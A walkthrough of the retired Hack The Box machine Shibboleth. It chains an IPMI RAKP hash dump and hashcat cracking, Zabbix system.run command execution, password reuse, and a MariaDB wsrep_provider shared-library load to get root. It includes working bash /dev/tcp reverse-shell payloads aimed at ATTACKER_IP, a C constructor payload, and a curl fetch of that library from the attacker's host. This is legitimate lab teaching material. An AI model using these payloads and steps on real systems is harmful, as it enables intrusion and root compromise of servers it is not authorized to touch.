root@kali:~$ cat hackthebox/machines/shibboleth.md

Hack The Box — Shibboleth

Shibboleth chains an IPMI RAKP hash leak into Zabbix agent command execution, password reuse, and a MariaDB wsrep provider flaw for a root shell.

Shibboleth machine artwork featuring an orange padlock and eye inside a circular frame
Platform
Hack The Box
Type
machine
Difficulty
Medium
Operating system
Linux
Solved
3 Dec 2026
Published
3 December 2026

This write-up documents an authorized Hack The Box lab. Shibboleth retired on 2 April 2022. Flag values, session-specific IP addresses, and the Zabbix database password are omitted. The cracked IPMI password is included because it is needed to reproduce the attack path.

Executive summary

The public website reveals little beyond a hostname, while an IPMI service on UDP/623 exposes an IPMI 2.0 RAKP password hash for Administrator. Cracking that hash gives credentials for a Zabbix virtual host. An enabled system.run agent key executes a command as zabbix, and the same password works for the local ipmi-svc account. That account can read Zabbix’s database configuration. Its MariaDB user has the global SUPER privilege, and the vulnerable MariaDB server runs as root. Setting wsrep_provider to a custom shared library makes the server load the library and execute its constructor as root.

Target information

Item Value
Target Shibboleth
Platform Hack The Box
Difficulty Medium
Operating system Linux
Publication policy Retired, 2 April 2022
Main weaknesses IPMI RAKP hash disclosure, Zabbix agent command execution, password reuse, MariaDB wsrep_provider code execution

Start your own Shibboleth instance, connect Kali to the HTB VPN, and replace <TARGET_IP> with the IP displayed for your instance. Keep the target IP and your tun0 IP out of public notes; both can change between sessions.

TARGET_IP='<TARGET_IP>'
printf '%s shibboleth.htb zabbix.shibboleth.htb\n' "$TARGET_IP" | sudo tee -a /etc/hosts

Enumeration

TCP and the public website

Scan all TCP ports and identify the service. A very aggressive scan can miss responses: our initial -T5 scan reported a retransmission warning, so reduce the timing if your results look incomplete.

sudo nmap -sS -sVC -T3 -p- "$TARGET_IP"

The observed TCP result contained only 80/tcp, running Apache httpd 2.4.41 on Ubuntu. Nmap also reported a redirect to http://shibboleth.htb/. The page was a generic FlexStart site, with no useful login on its visible sections.

The hostname suggests virtual-host routing. Fuzz the Host header rather than treating the root website as the only application:

ffuf -u "http://$TARGET_IP/" \
  -H 'Host: FUZZ.shibboleth.htb' \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -ac -rate 50

The scan identified zabbix, monitor, and monitoring. All three returned the same size page. Confirm the application before relying on the names:

curl -s -H 'Host: zabbix.shibboleth.htb' "http://$TARGET_IP/" \
  | grep -Ei '<title>|Zabbix' | head

The response title was Shibboleth Data Systems: Zabbix, and the page contained a sign-in form. We now have a likely place to use credentials, but none yet.

UDP reveals IPMI

The full TCP scan says nothing about UDP. Probe IPMI’s usual UDP port:

sudo nmap -sU -p 623 -sV --reason "$TARGET_IP"

The target answered on 623/udp as asf-rmcp. This is the lead that connects the otherwise static site to the credential attack.

Initial access

Retrieve and crack the IPMI RAKP hash

IPMI 2.0 can return a password-derived HMAC during the RAKP authentication exchange. Metasploit’s ipmi_dumphashes scanner attempts that exchange for common usernames and saves a hashcat-ready record. It does not need to know the password first.

msfconsole
use auxiliary/scanner/ipmi/ipmi_dumphashes
set RHOSTS <TARGET_IP>
set OUTPUT_HASHCAT_FILE /tmp/shibboleth-ipmi.hash
run

Our scan reported Hash found: Administrator:.... Socket deprecation warnings from Metasploit did not prevent the hash retrieval. The output file includes a host-and-username prefix, so pass --username to hashcat. Mode 7300 is IPMI2 RAKP HMAC-SHA1:

hashcat -m 7300 -a 0 --username \
  /tmp/shibboleth-ipmi.hash \
  /usr/share/wordlists/rockyou.txt

hashcat -m 7300 --username --show /tmp/shibboleth-ipmi.hash

If Kali has only rockyou.txt.gz, decompress it into your working directory and use that path instead:

gzip -dc /usr/share/wordlists/rockyou.txt.gz > rockyou.txt

The recovered password was ilovepumkinpie1 for Administrator. This is a retired lab credential, not an arbitrary password to try against other systems.

Execute a command through the Zabbix agent

Open http://zabbix.shibboleth.htb/ and sign in with Administrator / ilovepumkinpie1. The dashboard shows one available host, shibboleth.htb. To test the agent without saving a persistent item:

  1. Select Configuration → Hosts and click Items on the shibboleth.htb row.
  2. Click Create item. Set Name to agent-id-test, Type to Zabbix agent, Key to system.run[id], and Type of information to Text.
  3. Click Test → Get value.

The value returned uid=110(zabbix) gid=118(zabbix) groups=118(zabbix). This proves that the target agent accepts system.run; the key is disabled by default in a normal Zabbix installation. Testing the item executes the command even before the item is saved.

For a shell, get your Kali VPN IP from tun0 and start a listener in a new terminal:

ip -4 addr show tun0
nc -lvnp 4444

In the unsaved Zabbix item, replace the key with the following, substituting your own VPN IP for ATTACKER_IP:

system.run[bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1",nowait]

Use Test → Get value again. The nowait mode returns 1 when the command is dispatched; verify success in the netcat terminal, not from that value alone. In our run, it connected as zabbix. The bash: no job control warning is normal for this basic reverse shell.

Reuse the password as ipmi-svc

The only home directory belonged to ipmi-svc. From the zabbix shell, attempting to read /home/ipmi-svc/user.txt gave Permission denied. Create a pseudo-terminal so su can prompt for a password, then try the cracked IPMI password:

python3 -c 'import pty; pty.spawn("/bin/bash")'
su - ipmi-svc
# Enter: ilovepumkinpie1
id

The resulting identity was uid=1000(ipmi-svc). The user flag is at ~/user.txt; its value is intentionally omitted.

Privilege escalation

Inspect the local database and its permissions

sudo -l showed no sudo access for ipmi-svc. Local service inspection revealed a more important detail:

ss -lnt | grep ':3306'
ps -eo user,pid,comm,args | grep -E '[m]ysqld|[m]ariadbd'
mysql --version
ls -l /etc/zabbix/zabbix_server.conf

MariaDB listened only on 127.0.0.1:3306. The server process was started with --user=root; the client reported MariaDB 10.3.25. The Zabbix server configuration was readable by the ipmi-svc group. Read its active database settings locally, but do not copy the password into a public report:

grep -E '^DB(Host|Name|User|Password)=' /etc/zabbix/zabbix_server.conf
mysql -u zabbix -p

Enter the DBPassword from the configuration at the mysql prompt. Then verify the server version, SQL account, grants, and Galera provider setting:

SELECT VERSION(), CURRENT_USER();
SHOW GRANTS;
SHOW GLOBAL VARIABLES LIKE 'wsrep_provider';

The server returned 10.3.25-MariaDB-0ubuntu0.20.04.1, zabbix@localhost, a global GRANT SUPER ON *.*, and wsrep_provider = none. Checking the server matters because the mysql --version command reports only the client version.

Load a shared library through wsrep_provider

MariaDB’s issue MDEV-25179 explains the flaw: before the fix, a database user with SUPER could change wsrep_provider at runtime to a .so path, causing the server to call dlopen() on that library. The fix for the 10.3 branch arrived in 10.3.28. Because this server is 10.3.25 and its process runs as root, a constructor in a loaded library runs with root privileges.

On Kali, set the current VPN IP and compile a shared library. The constructor forks so the database thread can return, while the child starts a reverse shell:

KALI_IP=$(ip -4 -o addr show tun0 | awk '{split($4, a, "/"); print a[1]}')

cat > wsrep.c <<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
static void run(void) {
    if (fork() == 0) {
        setsid();
        execl("/bin/bash", "bash", "-c",
              "bash -i >& /dev/tcp/${KALI_IP}/5555 0>&1",
              (char *)NULL);
        _exit(1);
    }
}
EOF

gcc -shared -fPIC -o wsrep.so wsrep.c

Keep the existing foothold shell open. In one Kali terminal, serve the library; in another, listen for the root shell:

python3 -m http.server 8000 --bind "$KALI_IP"
nc -lvnp 5555

Back on the target, exit the MariaDB prompt with \q, download the library to a writable path, and confirm the file exists. Replace ATTACKER_IP with the same Kali VPN IP used in the compiled library:

curl -fsS 'http://ATTACKER_IP:8000/wsrep.so' -o /tmp/wsrep.so
ls -l /tmp/wsrep.so
mysql -u zabbix -p

Finally, direct MariaDB to load the library:

SET GLOBAL wsrep_provider='/tmp/wsrep.so';

The SQL statement returned Query OK in our run, and the listener received a shell with a root@shibboleth prompt. Confirm with id; the root flag resides at /root/root.txt. A provider error would not by itself prove failure: check the listener, because the constructor can run when dlopen() first opens the library.

What did not work

  • The TCP-only scan did not reveal the UDP/623 IPMI service. Probing UDP separately exposed the useful attack surface.
  • The public FlexStart site did not offer a useful login; the Zabbix virtual host did.
  • Reading user.txt as zabbix was denied. Password reuse allowed a switch to its owner, ipmi-svc.
  • sudo -l gave ipmi-svc no sudo rule. The root path came from the local database service instead.

Attack path

  1. Enumerate TCP/80 and the Zabbix virtual host, then discover IPMI on UDP/623.
  2. Retrieve the Administrator RAKP hash, crack it offline, and authenticate to Zabbix.
  3. Test and invoke system.run through the agent to obtain a zabbix shell.
  4. Reuse the password with su to become ipmi-svc and read the user flag.
  5. Recover the local database credential, verify SUPER and vulnerable MariaDB, then load a .so through wsrep_provider for root.

Lessons learned

  • A complete service inventory must consider UDP. IPMI’s RAKP exchange can disclose material for offline password cracking, even when TCP shows only a web server.
  • A Zabbix administrator account becomes an OS execution path when the agent allows system.run. Disable that key unless there is a specific operational need and restrict who can configure items.
  • Reused passwords collapse separate trust boundaries. Distinct credentials for IPMI, Zabbix, local users, and databases would prevent the pivots in this chain.
  • A database process should not run as root. Here, MariaDB’s SUPER privilege and the writable wsrep_provider variable crossed from SQL control to root OS execution. Upgrade past the affected version and run the service under a dedicated account.

References